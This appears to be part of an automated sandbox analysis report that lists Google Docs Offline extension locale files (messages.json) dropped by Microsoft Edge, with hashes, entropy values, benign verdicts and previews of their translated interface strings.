Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
